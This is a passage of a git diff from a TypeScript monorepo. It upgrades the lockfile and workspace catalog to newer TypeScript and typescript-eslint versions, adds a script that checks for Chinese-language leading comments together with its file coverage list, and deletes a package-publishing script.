sha512-UMGDx5sTpzNw3WiPebH7l90IWfJggEd+egHt/q6p7/Cm3zqoV7VxkGXt+3DxPIw8CcmvAB0j3sVVfbhX+M4Tpw==} + engines: {node: '>=16.20.0'} + cpu: [x64] + os: [freebsd] + + '@typescript/typescript-linux-arm64@7.0.2': + resolution: {integrity: sha512-Qh4eU4/y3yDjnfjjyPYihMj5/ODIlmt+Bzu17OI+fiSRDW57QmU5SiN63exPRNJPKUzcc1INa1NXdrJ+MqHjUQ==} + engines: {node: '>=16.20.0'} + cpu: [arm64] + os: [linux] + + '@typescript/typescript-linux-arm@7.0.2': + resolution: {integrity: sha512-gffT3xPz9sR7j/YJExkyPntrI0P2EP9XbOyWzth2/Gs0RstK+90RBcO0ncXoXy/beYll1SXw846Nf2zdnEz0QQ==} + engines: {node: '>=16.20.0'} + cpu: [arm] + os: [linux] + + '@typescript/typescript-linux-loong64@7.0.2': + resolution: {integrity: sha512-uEHck9i8hoAzXPiYRib1O7miOnz23SxIeVl6F4LXox+qov1K35jHcEW6VHKvZI+pyvl7fZEP4MCU5LYvIq1GuQ==} + engines: {node: '>=16.20.0'} + cpu: [loong64] + os: [linux] + + '@typescript/typescript-linux-mips64el@7.0.2': + resolution: {integrity: sha512-R4KvAMnE43W5Qeqb0Ly56O3mWMWIAgsMyz36DCaycd5nbg/9kzm0liw3JocfRqyJY0KPmzFjbswozXyW0DnIYA==} + engines: {node: '>=16.20.0'} + cpu: [mips64el] + os: [linux] + + '@typescript/typescript-linux-ppc64@7.0.2': + resolution: {integrity: sha512-DORx5b3sd/4S7eayxm4FQv+A7CrkUIGRaHiwI8oiHTAI1fAPWhF4J0vAlkC8biAlHSVVwxMQ3tjZ2/DVbnQiiA==} + engines: {node: '>=16.20.0'} + cpu: [ppc64] + os: [linux] + + '@typescript/typescript-linux-riscv64@7.0.2': + resolution: {integrity: sha512-wf0jqEDOjrPRnKwYRyyJDRo11KMbvMFrU+q4zqKyChODBzvlkbhNQfKvLxQCcwTpdDaXSHZTVuh0JoCrKCUMHQ==} + engines: {node: '>=16.20.0'} + cpu: [riscv64] + os: [linux] + + '@typescript/typescript-linux-s390x@7.0.2': + resolution: {integrity: sha512-IkwJc3L7yhytWd/ewjyxNDfOmswCm9GWMJT/ue/dU4aZNbwZeYAetq42VyLmsmSjvoX7z74X6ZaYCtzAr0EuGw==} + engines: {node: '>=16.20.0'} + cpu: [s390x] + os: [linux] + + '@typescript/typescript-linux-x64@7.0.2': + resolution: {integrity: sha512-EYdf2cNg7rgCWJnxCdJ+F3V39O8ihb37eHAu1LK8oAFizgTQbPOK7zHHXbPt8rX24COqODXeI3sIf0fCXG7H/A==} + engines: {node: '>=16.20.0'} + cpu: [x64] + os: [linux] + + '@typescript/typescript-netbsd-arm64@7.0.2': + resolution: {integrity: sha512-+polYF4MF04aPpO5FTkHran9yUQDSXqy5GiSDKpsll5jy3l3+g9QLhpf39T+ePtefhXLOGrLl0QIjkQP6VnelA==} + engines: {node: '>=16.20.0'} + cpu: [arm64] + os: [netbsd] + + '@typescript/typescript-netbsd-x64@7.0.2': + resolution: {integrity: sha512-8YIT0EHM/3dq10ZOVF/A7pc/YSMtbcecct4rWtexrnSCHOPcpC2KTLXfTCR6vDpnSiY12heNb1GiN/wu+T/FyA==} + engines: {node: '>=16.20.0'} + cpu: [x64] + os: [netbsd] + + '@typescript/typescript-openbsd-arm64@7.0.2': + resolution: {integrity: sha512-APT8+ClYnuYm1u9+kgGXoMj2VzWzcymwh2gNSQVySHfkRDGOTVkoWLjCmOQSaO+PoqQ57B0flRp9SA+7GnnkzQ==} + engines: {node: '>=16.20.0'} + cpu: [arm64] + os: [openbsd] + + '@typescript/typescript-openbsd-x64@7.0.2': + resolution: {integrity: sha512-yX7s+Q0Dln0Dt9tEzZsAjXXR/+ytBM7AlglaqyeMPxQszJ1JhlJdZ6jLA+IzldHtflX81em7lDao1xXu+aRRkg==} + engines: {node: '>=16.20.0'} + cpu: [x64] + os: [openbsd] + + '@typescript/typescript-sunos-x64@7.0.2': + resolution: {integrity: sha512-dLJDGaLZ1D4HPQn62u1n8mBDkJREwMsAkCdkwd4Ieqw+x3TUyTsqY0YiBCtE6H6OzzgGk3iuZ3vFWRS+E8/d1g==} + engines: {node: '>=16.20.0'} + cpu: [x64] + os: [sunos] + + '@typescript/typescript-win32-arm64@7.0.2': + resolution: {integrity: sha512-Gyl1Vy6OsWesLzmq+EP0Fb7b4Nid5232AvcA2SFcdYreldpNtYFFofPjnt62y9hQy7VTaZp65ICJjuAQRaVcIQ==} + engines: {node: '>=16.20.0'} + cpu: [arm64] + os: [win32] + + '@typescript/typescript-win32-x64@7.0.2': + resolution: {integrity: sha512-0BQ3HkAHHlKLSp1qRvf3SUhGpGsDuhB/jgFw75guyqbxJqEaS0Cw/VFO8i2nHglJUzQCRtMMR/IBAKE3ETMC4g==} + engines: {node: '>=16.20.0'} + cpu: [x64] + os: [win32] + '@vitest/expect@4.1.10': resolution: {integrity: sha512-YsCn+qAk1GWjQOWFEsEcL2gNQ0zmVmQu3T03qP6UyjhtmdtwtbuI+DASn/7iQB3HGTXkdBwGddzxPlmiql5vlA==} @@ -2130,8 +2191,8 @@ packages: resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} engines: {node: '>= 0.8.0'} - typescript-eslint@8.65.0: - resolution: {integrity: sha512-/ggrHAwyjENDusvyxbuqxAC2dTnZg/Z8F+fgQtYIz+L6n/9HfSlEZcFGV/NsMNa6CkGk0xUjUAFwC0vHOflvIA==} + typescript-eslint@8.66.0: + resolution: {integrity: sha512-QlEbBPz/RuJ1XUHj29nm3t0F/O/cSlEnntozqPOYHnnTGAXFamnMBu5i9Vn6vhUPHGAjR+Vl+5J8vPN/BMUrJw==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} peerDependencies: eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 @@ -2142,11 +2203,16 @@ packages: engines: {node: '>=14.17'} hasBin: true - typescript@5.9.3: - resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} + typescript@6.0.3: + resolution: {integrity: sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw==} engines: {node: '>=14.17'} hasBin: true + typescript@7.0.2: + resolution: {integrity: sha512-8FYau96o3NKOhbjKi/qNvG/W5jhzxkbdm5sj9AbZ/5T5sWqn3hJgLfGx27sRKZWTvyzCP8dLRBTf5tBTSRVUNA==} + engines: {node: '>=16.20.0'} + hasBin: true + unconfig-core@7.5.0: resolution: {integrity: sha512-Su3FauozOGP44ZmKdHy2oE6LPjk51M/TRRjHv2HNCWiDvfvCoxC2lno6jevMA91MYAdCdwP05QnWdWpSbncX/w==} @@ -2901,97 +2967,159 @@ snapshots: '@types/semver@7.8.0': {} - '@typescript-eslint/eslint-plugin@8.65.0(@typescript-eslint/parser@8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3))(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3)': + '@typescript-eslint/eslint-plugin@8.66.0(@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3)': dependencies: '@eslint-community/regexpp': 4.12.2 - '@typescript-eslint/parser': 8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) - '@typescript-eslint/scope-manager': 8.65.0 - '@typescript-eslint/type-utils': 8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) - '@typescript-eslint/utils': 8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) - '@typescript-eslint/visitor-keys': 8.65.0 + '@typescript-eslint/parser': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + '@typescript-eslint/scope-manager': 8.66.0 + '@typescript-eslint/type-utils': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + '@typescript-eslint/utils': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + '@typescript-eslint/visitor-keys': 8.66.0 eslint: 10.8.0(jiti@2.7.0) ignore: 7.0.6 natural-compare: 1.4.0 - ts-api-utils: 2.5.0(typescript@5.9.3) - typescript: 5.9.3 + ts-api-utils: 2.5.0(typescript@6.0.3) + typescript: 6.0.3 transitivePeerDependencies: - supports-color - '@typescript-eslint/parser@8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3)': + '@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3)': dependencies: - '@typescript-eslint/scope-manager': 8.65.0 - '@typescript-eslint/types': 8.65.0 - '@typescript-eslint/typescript-estree': 8.65.0(typescript@5.9.3) - '@typescript-eslint/visitor-keys': 8.65.0 + '@typescript-eslint/scope-manager': 8.66.0 + '@typescript-eslint/types': 8.66.0 + '@typescript-eslint/typescript-estree': 8.66.0(typescript@6.0.3) + '@typescript-eslint/visitor-keys': 8.66.0 debug: 4.4.3 eslint: 10.8.0(jiti@2.7.0) - typescript: 5.9.3 + typescript: 6.0.3 transitivePeerDependencies: - supports-color - '@typescript-eslint/project-service@8.65.0(typescript@5.9.3)': + '@typescript-eslint/project-service@8.66.0(typescript@6.0.3)': dependencies: - '@typescript-eslint/tsconfig-utils': 8.65.0(typescript@5.9.3) - '@typescript-eslint/types': 8.65.0 + '@typescript-eslint/tsconfig-utils': 8.66.0(typescript@6.0.3) + '@typescript-eslint/types': 8.66.0 debug: 4.4.3 - typescript: 5.9.3 + typescript: 6.0.3 transitivePeerDependencies: - supports-color - '@typescript-eslint/scope-manager@8.65.0': + '@typescript-eslint/scope-manager@8.66.0': dependencies: - '@typescript-eslint/types': 8.65.0 - '@typescript-eslint/visitor-keys': 8.65.0 + '@typescript-eslint/types': 8.66.0 + '@typescript-eslint/visitor-keys': 8.66.0 - '@typescript-eslint/tsconfig-utils@8.65.0(typescript@5.9.3)': + '@typescript-eslint/tsconfig-utils@8.66.0(typescript@6.0.3)': dependencies: - typescript: 5.9.3 + typescript: 6.0.3 - '@typescript-eslint/type-utils@8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3)': + '@typescript-eslint/type-utils@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3)': dependencies: - '@typescript-eslint/types': 8.65.0 - '@typescript-eslint/typescript-estree': 8.65.0(typescript@5.9.3) - '@typescript-eslint/utils': 8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) + '@typescript-eslint/types': 8.66.0 + '@typescript-eslint/typescript-estree': 8.66.0(typescript@6.0.3) + '@typescript-eslint/utils': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) debug: 4.4.3 eslint: 10.8.0(jiti@2.7.0) - ts-api-utils: 2.5.0(typescript@5.9.3) - typescript: 5.9.3 + ts-api-utils: 2.5.0(typescript@6.0.3) + typescript: 6.0.3 transitivePeerDependencies: - supports-color '@typescript-eslint/types@8.65.0': {} - '@typescript-eslint/typescript-estree@8.65.0(typescript@5.9.3)': + '@typescript-eslint/types@8.66.0': {} + + '@typescript-eslint/typescript-estree@8.66.0(typescript@6.0.3)': dependencies: - '@typescript-eslint/project-service': 8.65.0(typescript@5.9.3) - '@typescript-eslint/tsconfig-utils': 8.65.0(typescript@5.9.3) - '@typescript-eslint/types': 8.65.0 - '@typescript-eslint/visitor-keys': 8.65.0 + '@typescript-eslint/project-service': 8.66.0(typescript@6.0.3) + '@typescript-eslint/tsconfig-utils': 8.66.0(typescript@6.0.3) + '@typescript-eslint/types': 8.66.0 + '@typescript-eslint/visitor-keys': 8.66.0 debug: 4.4.3 minimatch: 10.2.6 semver: 7.8.5 tinyglobby: 0.2.17 - ts-api-utils: 2.5.0(typescript@5.9.3) - typescript: 5.9.3 + ts-api-utils: 2.5.0(typescript@6.0.3) + typescript: 6.0.3 transitivePeerDependencies: - supports-color - '@typescript-eslint/utils@8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3)': + '@typescript-eslint/utils@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3)': dependencies: '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)) - '@typescript-eslint/scope-manager': 8.65.0 - '@typescript-eslint/types': 8.65.0 - '@typescript-eslint/typescript-estree': 8.65.0(typescript@5.9.3) + '@typescript-eslint/scope-manager': 8.66.0 + '@typescript-eslint/types': 8.66.0 + '@typescript-eslint/typescript-estree': 8.66.0(typescript@6.0.3) eslint: 10.8.0(jiti@2.7.0) - typescript: 5.9.3 + typescript: 6.0.3 transitivePeerDependencies: - supports-color - '@typescript-eslint/visitor-keys@8.65.0': + '@typescript-eslint/visitor-keys@8.66.0': dependencies: - '@typescript-eslint/types': 8.65.0 + '@typescript-eslint/types': 8.66.0 eslint-visitor-keys: 5.0.1 + '@typescript/typescript-aix-ppc64@7.0.2': + optional: true + + '@typescript/typescript-darwin-arm64@7.0.2': + optional: true + + '@typescript/typescript-darwin-x64@7.0.2': + optional: true + + '@typescript/typescript-freebsd-arm64@7.0.2': + optional: true + + '@typescript/typescript-freebsd-x64@7.0.2': + optional: true + + '@typescript/typescript-linux-arm64@7.0.2': + optional: true + + '@typescript/typescript-linux-arm@7.0.2': + optional: true + + '@typescript/typescript-linux-loong64@7.0.2': + optional: true + + '@typescript/typescript-linux-mips64el@7.0.2': + optional: true + + '@typescript/typescript-linux-ppc64@7.0.2': + optional: true + + '@typescript/typescript-linux-riscv64@7.0.2': + optional: true + + '@typescript/typescript-linux-s390x@7.0.2': + optional: true + + '@typescript/typescript-linux-x64@7.0.2': + optional: true + + '@typescript/typescript-netbsd-arm64@7.0.2': + optional: true + + '@typescript/typescript-netbsd-x64@7.0.2': + optional: true + + '@typescript/typescript-openbsd-arm64@7.0.2': + optional: true + + '@typescript/typescript-openbsd-x64@7.0.2': + optional: true + + '@typescript/typescript-sunos-x64@7.0.2': + optional: true + + '@typescript/typescript-win32-arm64@7.0.2': + optional: true + + '@typescript/typescript-win32-x64@7.0.2': + optional: true + '@vitest/expect@4.1.10': dependencies: '@standard-schema/spec': 1.1.0 @@ -3733,7 +3861,21 @@ snapshots: reusify@1.1.0: {} - rolldown-plugin-dts@0.27.14(rolldown@1.2.2)(typescript@5.9.3): + rolldown-plugin-dts@0.27.14(rolldown@1.2.2)(typescript@6.0.3): + dependencies: + dts-resolver: 3.0.0 + get-tsconfig: 5.0.0-beta.5 + obug: 2.1.4 + rolldown: 1.2.2 + yuku-ast: 0.8.3 + yuku-codegen: 0.8.3 + yuku-parser: 0.8.3 + optionalDependencies: + typescript: 6.0.3 + transitivePeerDependencies: + - oxc-resolver + + rolldown-plugin-dts@0.27.14(rolldown@1.2.2)(typescript@7.0.2): dependencies: dts-resolver: 3.0.0 get-tsconfig: 5.0.0-beta.5 @@ -3743,7 +3885,7 @@ snapshots: yuku-codegen: 0.8.3 yuku-parser: 0.8.3 optionalDependencies: - typescript: 5.9.3 + typescript: 7.0.2 transitivePeerDependencies: - oxc-resolver @@ -3881,11 +4023,11 @@ snapshots: tree-kill@1.2.2: {} - ts-api-utils@2.5.0(typescript@5.9.3): + ts-api-utils@2.5.0(typescript@6.0.3): dependencies: - typescript: 5.9.3 + typescript: 6.0.3 - tsdown@0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3): + tsdown@0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@6.0.3): dependencies: ansis: 4.3.1 cac: 7.0.0 @@ -3896,7 +4038,7 @@ snapshots: obug: 2.1.4 picomatch: 4.0.5 rolldown: 1.2.2 - rolldown-plugin-dts: 0.27.14(rolldown@1.2.2)(typescript@5.9.3) + rolldown-plugin-dts: 0.27.14(rolldown@1.2.2)(typescript@6.0.3) tinyexec: 1.2.4 tinyglobby: 0.2.17 tree-kill: 1.2.2 @@ -3905,7 +4047,34 @@ snapshots: optionalDependencies: '@arethetypeswrong/core': 0.18.5 publint: 0.3.23 - typescript: 5.9.3 + typescript: 6.0.3 + transitivePeerDependencies: + - '@typescript/native-preview' + - '@volar/typescript' + - oxc-resolver + - vue-tsc + + tsdown@0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2): + dependencies: + ansis: 4.3.1 + cac: 7.0.0 + defu: 6.1.7 + empathic: 2.0.1 + hookable: 6.1.1 + import-without-cache: 0.4.0 + obug: 2.1.4 + picomatch: 4.0.5 + rolldown: 1.2.2 + rolldown-plugin-dts: 0.27.14(rolldown@1.2.2)(typescript@7.0.2) + tinyexec: 1.2.4 + tinyglobby: 0.2.17 + tree-kill: 1.2.2 + unconfig-core: 7.5.0 + verkit: 0.3.2 + optionalDependencies: + '@arethetypeswrong/core': 0.18.5 + publint: 0.3.23 + typescript: 7.0.2 transitivePeerDependencies: - '@typescript/native-preview' - '@volar/typescript' @@ -3916,20 +4085,43 @@ snapshots: dependencies: prelude-ls: 1.2.1 - typescript-eslint@8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3): + typescript-eslint@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3): dependencies: - '@typescript-eslint/eslint-plugin': 8.65.0(@typescript-eslint/parser@8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3))(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) - '@typescript-eslint/parser': 8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) - '@typescript-eslint/typescript-estree': 8.65.0(typescript@5.9.3) - '@typescript-eslint/utils': 8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) + '@typescript-eslint/eslint-plugin': 8.66.0(@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + '@typescript-eslint/parser': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + '@typescript-eslint/typescript-estree': 8.66.0(typescript@6.0.3) + '@typescript-eslint/utils': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) eslint: 10.8.0(jiti@2.7.0) - typescript: 5.9.3 + typescript: 6.0.3 transitivePeerDependencies: - supports-color typescript@5.6.1-rc: {} - typescript@5.9.3: {} + typescript@6.0.3: {} + + typescript@7.0.2: + optionalDependencies: + '@typescript/typescript-aix-ppc64': 7.0.2 + '@typescript/typescript-darwin-arm64': 7.0.2 + '@typescript/typescript-darwin-x64': 7.0.2 + '@typescript/typescript-freebsd-arm64': 7.0.2 + '@typescript/typescript-freebsd-x64': 7.0.2 + '@typescript/typescript-linux-arm': 7.0.2 + '@typescript/typescript-linux-arm64': 7.0.2 + '@typescript/typescript-linux-loong64': 7.0.2 + '@typescript/typescript-linux-mips64el': 7.0.2 + '@typescript/typescript-linux-ppc64': 7.0.2 + '@typescript/typescript-linux-riscv64': 7.0.2 + '@typescript/typescript-linux-s390x': 7.0.2 + '@typescript/typescript-linux-x64': 7.0.2 + '@typescript/typescript-netbsd-arm64': 7.0.2 + '@typescript/typescript-netbsd-x64': 7.0.2 + '@typescript/typescript-openbsd-arm64': 7.0.2 + '@typescript/typescript-openbsd-x64': 7.0.2 + '@typescript/typescript-sunos-x64': 7.0.2 + '@typescript/typescript-win32-arm64': 7.0.2 + '@typescript/typescript-win32-x64': 7.0.2 unconfig-core@7.5.0: dependencies: diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml index a8ec31a..53ca119 100644 --- a/pnpm-workspace.yaml +++ b/pnpm-workspace.yaml @@ -2,32 +2,11 @@ packages: - packages/* catalog: - '@arethetypeswrong/core': ^0.18.5 - '@changesets/cli': ^2.31.1 - '@eslint/js': ^10.0.1 - '@iarna/toml': ^2.2.5 - '@inquirer/prompts': ^8.3.2 - '@stylistic/eslint-plugin': ^5.10.0 '@types/node': ^20.19.0 - '@types/semver': ^7.7.1 - chalk: ^5.6.2 - chokidar: ^5.0.0 - commander: ^15.0.0 - eslint: ^10.8.0 - glob: ^13.0.6 - gray-matter: ^4.0.3 - husky: ^9.1.7 - jiti: ^2.7.0 - lint-staged: ^17.2.0 - ora: ^5.4.1 - publint: ^0.3.23 rolldown: ^1.2.2 - semver: ^7.8.5 tsdown: ^0.22.14 - typescript: ^5.9.3 - typescript-eslint: ^8.65.0 + typescript: ^7.0.2 vitest: ^4.1.10 - yaml: ^2.9.0 catalogMode: strict cleanupUnusedCatalogs: true diff --git a/scripts/check-comments.mjs b/scripts/check-comments.mjs new file mode 100644 index 0000000..f7ee4cc --- /dev/null +++ b/scripts/check-comments.mjs @@ -0,0 +1,118 @@ +import { readFileSync } from 'node:fs'; +import path from 'node:path'; +import process from 'node:process'; +import ts from 'typescript'; + +/** 中文注释至少需要包含一个中日韩统一表意文字。 */ +const CHINESE_PATTERN = /[\u3400-\u9fff]/u; + +/** 注释覆盖配置文件相对于仓库根目录的位置。 */ +const COVERAGE_FILE = 'scripts/comment-coverage.json'; + +/** 需要前置中文说明的声明节点类型。 */ +const DECLARATION_KINDS = new Set([ + ts.SyntaxKind.ClassDeclaration, + ts.SyntaxKind.Constructor, + ts.SyntaxKind.EnumDeclaration, + ts.SyntaxKind.FunctionDeclaration, + ts.SyntaxKind.GetAccessor, + ts.SyntaxKind.InterfaceDeclaration, + ts.SyntaxKind.MethodDeclaration, + ts.SyntaxKind.MethodSignature, + ts.SyntaxKind.PropertyDeclaration, + ts.SyntaxKind.SetAccessor, + ts.SyntaxKind.TypeAliasDeclaration, +]); + +/** + * 读取声明节点前的全部注释文本。 + * + * @param source 当前文件对应的 TypeScript 语法树。 + * @param node 需要检查前置注释的声明节点。 + * @returns 与声明直接相邻的前置注释文本。 + */ +function leadingComment(source, node) { + /** 当前源码的完整文本,用于按字符区间提取注释。 */ + const text = source.getFullText(); + /** TypeScript 解析器识别到的前置注释字符区间。 */ + const ranges = ts.getLeadingCommentRanges(text, node.getFullStart()) ?? []; + return ranges.map(range => text.slice(range.pos, range.end)).join('\n'); +} + +/** + * 返回便于诊断的声明名称,匿名声明使用语法类型代替。 + * + * @param node 待描述的声明节点。 + * @returns 稳定且便于定位的声明名称。 + */ +function declarationName(node) { + /** 声明节点可能携带的标识符名称。 */ + const name = 'name' in node ? node.name : undefined; + if (name && ts.isIdentifier(name)) + return name.text; + if (ts.isConstructorDeclaration(node)) + return 'constructor'; + return ts.SyntaxKind[node.kind]; +} + +/** + * 判断变量语句是否位于模块顶层。 + * + * @param node 待检查的变量语句。 + * @returns 位于 SourceFile 直接子级时返回 true。 + */ +function isModuleVariable(node) { + return ts.isVariableStatement(node) && ts.isSourceFile(node.parent); +} + +/** + * 收集单个文件中缺少中文前置说明的声明。 + * + * @param file 相对于仓库根目录的源码路径。 + * @returns 可直接输出到终端的缺失项列表。 + */ +function missingComments(file) { + /** 文件的原始源码内容。 */ + const text = readFileSync(file, 'utf8'); + /** 用于定位声明和注释区间的 TypeScript 语法树。 */ + const source = ts.createSourceFile(file, text, ts.ScriptTarget.Latest, true); + /** 当前文件累计发现的注释缺失项。 */ + const missing = []; + + /** + * 递归访问语法树,并检查受规则约束的声明节点。 + * + * @param node 当前访问的语法树节点。 + */ + function visit(node) { + /** 标记节点是否属于需要中文前置注释的声明范围。 */ + const required = DECLARATION_KINDS.has(node.kind) || isModuleVariable(node); + if (required && !CHINESE_PATTERN.test(leadingComment(source, node))) { + /** TypeScript 使用零基行列,需要转换为面向用户的一基行号。 */ + const line = source.getLineAndCharacterOfPosition(node.getStart(source)).line + 1; + missing.push(`${file}:${line} ${declarationName(node)}`); + } + ts.forEachChild(node, visit); + } + + visit(source); + return missing; +} + +/** + * 执行已覆盖文件的中文注释检查,并以非零退出码阻止回退。 + */ +function main() { + /** 注释覆盖配置,后续阶段通过扩展文件列表逐步收紧。 */ + const coverage = JSON.parse(readFileSync(COVERAGE_FILE, 'utf8')); + /** 所有已纳入强制覆盖范围的缺失项。 */ + const missing = coverage.enforcedFiles.flatMap(file => missingComments(path.normalize(file))); + if (missing.length > 0) { + process.stderr.write(`以下声明缺少中文前置注释:\n${missing.map(item => `- ${item}`).join('\n')}\n`); + process.exitCode = 1; + return; + } + process.stdout.write(`中文注释守卫已覆盖 ${coverage.enforcedFiles.length} 个文件。\n`); +} + +main(); diff --git a/scripts/comment-coverage.json b/scripts/comment-coverage.json new file mode 100644 index 0000000..c65839e --- /dev/null +++ b/scripts/comment-coverage.json @@ -0,0 +1,46 @@ +{ + "schemaVersion": 1, + "enforcedFiles": [ + "packages/acplugin/src/cli.ts", + "packages/acplugin/src/index.ts", + "packages/acplugin/src/init.ts", + "packages/acplugin/src/migration/index.ts", + "packages/acplugin/src/migration/legacy/github.ts", + "packages/acplugin/src/migration/legacy/scanner/claude.ts", + "packages/acplugin/src/migration/legacy/scanner/plugin.ts", + "packages/acplugin/src/migration/legacy/types.ts", + "packages/acplugin/src/migration/legacy/utils/frontmatter.ts", + "packages/acplugin/src/migration/legacy/utils/fs.ts", + "packages/acplugin/tsdown.config.ts", + "packages/compiler-claude-code/src/index.ts", + "packages/compiler-claude-code/tsdown.config.ts", + "packages/compiler-codex/src/index.ts", + "packages/compiler-codex/tsdown.config.ts", + "packages/core/src/artifacts.ts", + "packages/core/src/builder.ts", + "packages/core/src/config.ts", + "packages/core/src/diagnostics.ts", + "packages/core/src/extensions.ts", + "packages/core/src/index.ts", + "packages/core/src/scanner.ts", + "packages/core/src/serialization.ts", + "packages/core/src/transaction.ts", + "packages/core/src/types.ts", + "packages/core/test/core.test.ts", + "packages/core/tsdown.config.ts", + "packages/module-hooks/src/index.ts", + "packages/module-hooks/tsdown.config.ts", + "packages/module-mcp/src/index.ts", + "packages/module-mcp/tsdown.config.ts", + "packages/test/test/build.test.ts", + "packages/test/test/cli.test.ts", + "packages/test/test/init.test.ts", + "packages/test/test/migration.test.ts", + "packages/test/test/modules.test.ts", + "packages/test/test/repository.test.ts", + "packages/test/test/workspace.test.ts", + "packages/test/vitest.config.ts", + "scripts/check-comments.mjs", + "scripts/verify-release.mjs" + ] +} diff --git a/scripts/publish-release-cohort.mjs b/scripts/publish-release-cohort.mjs deleted file mode 100644 index 4c74c29..0000000 --- a/scripts/publish-release-cohort.mjs +++ /dev/null @@ -1,121 +0,0 @@ -import { spawn } from 'node:child_process'; -import { readFile } from 'node:fs/promises'; -import path from 'node:path'; -import process from 'node:process'; -import { setTimeout as delay } from 'node:timers/promises'; -import { fileURLToPath, URL } from 'node:url'; - -export const RELEASE_ORDER = [ - '@tokenroll/acplugin-module-hooks', - '@tokenroll/acplugin-module-mcp', - '@tokenroll/acplugin', -]; - -function run(command, args, capture = false) { - return new Promise((resolve, reject) => { - const child = spawn(command, args, { stdio: capture ? ['ignore', 'pipe', 'pipe'] : 'inherit' }); - let stdout = ''; - if (capture) - child.stdout.setEncoding('utf8').on('data', chunk => stdout += chunk); - child.once('error', reject); - child.once('close', code => resolve({ code, stdout: stdout.trim() })); - }); -} - -export async function publishReleaseCohort({ - version, - packages = RELEASE_ORDER, - attempts = 10, - view = async (name) => { - const result = await run('npm', ['view', `${name}@${version}`, 'version'], true); - return result.code === 0 ? result.stdout : undefined; - }, - publish = async (name) => { - const result = await run('pnpm', ['--filter', name, 'publish', '--access', 'public', '--no-git-checks']); - if (result.code !== 0) - throw new Error(`Publication failed for ${name}@${version}.`); - }, - wait = milliseconds => delay(milliseconds), - log = message => process.stdout.write(`${message}\n`), -} = {}) { - if (typeof version !== 'string' || version === '') - throw new Error('A release version is required.'); - - for (const name of packages) { - if (await view(name) === version) { - log(`${name}@${version} already exists; skipping publish.`); - } else { - await publish(name); - } - - let verified = false; - for (let attempt = 1; attempt <= attempts; attempt += 1) { - if (await view(name) === version) { - verified = true; - log(`Verified ${name}@${version}.`); - break; - } - if (attempt < attempts) - await wait(10_000); - } - if (!verified) - throw new Error(`Registry did not expose ${name}@${version} after publication.`); - } -} - -async function selfTest() { - const views = new Map(); - const published = []; - const waited = []; - const version = '1.0.0'; - await publishReleaseCohort({ - version, - attempts: 3, - view: async (name) => { - const count = (views.get(name) ?? 0) + 1; - views.set(name, count); - if (name === '@tokenroll/acplugin-module-mcp') - return version; - if (name === '@tokenroll/acplugin') - return count >= 3 ? version : undefined; - return count >= 2 ? version : undefined; - }, - publish: async name => published.push(name), - wait: async milliseconds => waited.push(milliseconds), - log: () => {}, - }); - const expected = ['@tokenroll/acplugin-module-hooks', '@tokenroll/acplugin']; - if (JSON.stringify(published) !== JSON.stringify(expected) || waited.length !== 1) - throw new Error('Release cohort skip/retry self-test failed.'); - - let failed = false; - try { - await publishReleaseCohort({ - version, - packages: ['@tokenroll/acplugin'], - attempts: 2, - view: async () => undefined, - publish: async () => {}, - wait: async () => {}, - log: () => {}, - }); - } catch (error) { - failed = error instanceof Error && error.message.includes('Registry did not expose'); - } - if (!failed) - throw new Error('Release cohort failure self-test failed.'); - process.stdout.write('Verified release cohort exact-version skip and bounded retry behavior.\n'); -} - -async function main() { - if (process.argv[2] === '--self-test') { - await selfTest(); - return; - } - const root = path.resolve(fileURLToPath(new URL('..', import.meta.url))); - const manifest = JSON.parse(await readFile(path.join(root, 'packages/acplugin/package.json'), 'utf8')); - await publishReleaseCohort({ version: manifest.version }); -} - -if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) - await main(); 